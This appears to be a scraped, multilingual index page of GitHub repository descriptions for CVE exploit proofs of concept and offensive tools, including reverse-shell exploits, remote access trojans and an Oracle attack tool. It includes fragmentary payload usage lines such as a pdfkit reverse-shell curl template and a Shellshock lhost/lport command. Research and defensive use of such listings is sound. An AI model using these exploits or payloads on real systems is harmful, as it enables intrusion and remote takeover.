cve-2023-42115

CVE-2023-42115: 익스플로잇 및 페이로드 생성 스크립트 이 저장소에는 두 개의 Python 스크립트가 포함되어 있습니다: 1. exploit.py : CVE-2023-42115를 익스플로잇하는 스크립트. 2. generatepayload.py : 리버스 셸 페이로드를 생성하는 스크립트. 사전 요구 사항 스크립트를 실행하기 전에 시스템에 Python 3가 설치되어 있는지 확인하십시오. 설치 1. 저장소 복제 : git clone https://github.com/isotaka134/cve-2023-42115.git c...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847-Exploit-Implementation Ceci est une POC montrant comment obtenir un shell bash inversé pour exécuter du code arbitraire sur une machine distante en utilisant CVE-2022-0847, "Dirty Pipe Exploit". Cette vulnérabilité n'affecte que les versions du noyau Linux 5.8 ou plus récentes, mais...

CVE-2025-24801

CVE-2025-24801 PoC для GLPI RCE Этот репозиторий содержит скрипт proof-of-concept poc.py, который эксплуатирует CVE-2025-24801 — уязвимость LFI-to-RCE в GLPI 10.0.17. Он автоматизирует: Вход в GLPI Включение загрузки .php путем обновления настроек типа документа Загрузку PHP reverse shell через...

odat

Quentin HARDY --- [email protected] [email protected] ODAT ODAT Oracle Database Attacking Tool est un outil de test d'intrusion open source qui teste la sécurité des bases de données Oracle à distance. Exemples d'utilisation d'ODAT : Vous avez une base de données Oracle qui écoute à...

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936 — это критическая уязвимость CVSS3 10.0, приводящая к удалённому выполнению кода RCE в прошивке WebHMI. Уязвимость работает в версии 4.0 и в самых новых версиях. Протестировано только на 4.0.7475. Скрипт использует уязвимость в следующей последовательности действий: ...

CVE-2024-25641

Cacti CVE-2024-25641 Preuve de concept PoC d'upload de paquet authentifié RCE Ce script est une preuve de concept PoC pour l'exploitation de la vulnérabilité CVE-2024-25641 dans Cacti, un outil de surveillance basé sur le web. Le script automatise le processus d'authentification auprès de...

CVE-2022-44877-white-box

Docs Paper : https://docs.google.com/document/d/1rQ7e9i2AFzHbASfRu3nkgjIswbrS2AB2i7V9OK3dJLs/edit?usp=sharing Libprochider : https://github.com/gianlucaborello/libprocesshider /var/www/html YouTube Demo : https://www.youtube.com/watch?v=V0HgzE8IElA&t=343s Проверенные машины CentOS 7 - CentOS Web...

CVE-2023-38646

CVE-2023-38646-exploit «Эта уязвимость, обозначенная как CVE-2023–38646, позволяла злоумышленникам выполнять произвольные команды на сервере без какой-либо аутентификации.» Быстрый скрипт эксплойта для получения обратной оболочки reverse shell для cve-2023-38646. Я не находил эту уязвимость, прос...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Via CURL modifier les valeurs en gras : curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2021-25646-exp

CVE-2021-25646-exp Инструмент для обнаружения и эксплуатации уязвимости удалённого выполнения кода CVE-2021-25646 в Apache druid Введите домен или IP:порт, чтобы выполнить проверку на уязвимость Для целей, у которых обнаружена уязвимость, доступна эксплуатация с выполнением команд Поддерживается...

redpill

:octocat: Description du projet Le projet redpill vise à assister les shells reverse TCP dans les tâches de post-exploitation. Souvent, lors de missions redteam, nous devons utiliser des moyens non conventionnels pour accéder au système cible, comme les shells reverse TCP pas metasploit afin de...

CVE-2015-6967-EXPLOIT

CVE-2015-6967-EXPLOIT CVE-2015-6967 PoC Exploit Ce script Python exploite une vulnérabilité dans Nibbleblog CVE-2015-6967 pour téléverser un reverse shell sur une cible vulnérable. Le script prend en entrée l'URL cible, les identifiants de l'utilisateur, votre IP et port local, puis exploite la...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Инструмент Apache Shellshock Remote Command Injection для быстрого получения обратной оболочки и просмотра файлов Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234...

DarkFox

DarkFox Троян удалённого доступа, созданный с помощью WinRar с установщиком например, firefox и встроенной python Reverse Shell. Отредактируйте файл client.py, указав IP-адрес и порт прослушивающего атакующего сервера, а также IP-адрес и порт любого прокси, присутствующего на атакующей машине. Ес...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 Описание Этот репозиторий содержит скрипт на Python для эксплуатации уязвимости в Flowmon, позволяющей получить обратную оболочку на целевой системе. Эксплойт использует недостаток в эндпоинте service.pdfs/confluence для выполнения произвольных команд на сервер...

MySQL-Fu.rb

MySQL-Fu.rb MySQL-Fu — это скрипт клиента MySQL на Ruby, который я написал. Он выполняет большинство функций обычного клиента MySQL: SQL Shell, обновление/удаление/удаление базы данных/таблицы, добавление/удаление пользователей, дамп базы данных/таблицы с опцией gzip...... Плюс несколько...

XeytanWxCpp-RAT

ВНИМАНИЕ ДАННЫЙ ПРОЕКТ ВСЁ ЕЩЁ НАХОДИТСЯ НА РАННИХ СТАДИЯХ РАЗРАБОТКИ. НА ДАННЫЙ МОМЕНТ ПРИЛОЖЕНИЕ ВЫГЛЯДИТ УЖАСНО, ИМЕЕТСЯ СТРАННЫЙ БАГ ПЕРВЫЙ ПУНКТ TODO, СМ. НИЖЕ, КОТОРЫЙ НЕОБХОДИМО ИСПРАВИТЬ КАК МОЖНО СКОРЕЕ. Введение RAT-приложение, написанное на C++ с использованием фреймворка wxWidgets...

CVE-2024-10914-Exploit

SilverX Exploit Tool 📌 Описание SilverX Exploit Tool — это скрипт для пентестинга, предназначенный для обнаружения и эксплуатации уязвимостей в веб-приложениях. Он предоставляет интерфейс, подобный командной оболочке, для удалённого выполнения команд на уязвимых системах. ⚠️ Предупреждение Этот...

CVE-2025-24893-POC

CVE-2025-24893 Installer bun : curl -fsSL https://bun.com/install | bash Pour installer les dépendances : bun install Pour exécuter : bun run CVE-2025-24893.ts Ce projet a été créé avec bun init dans bun v1.2.19. Bun est un environnement d'exécution JavaScript rapide tout-en-un. Comment utiliser ...

hershell

Hershell Simple reverse shell TCP écrit en Go. Il utilise TLS pour sécuriser les communications et fournit une fonctionnalité d'épingle d'empreinte de la clé publique du certificat, empêchant l'interception du trafic. Les systèmes d'exploitation supportés sont : Windows Linux Mac OS FreeBSD et...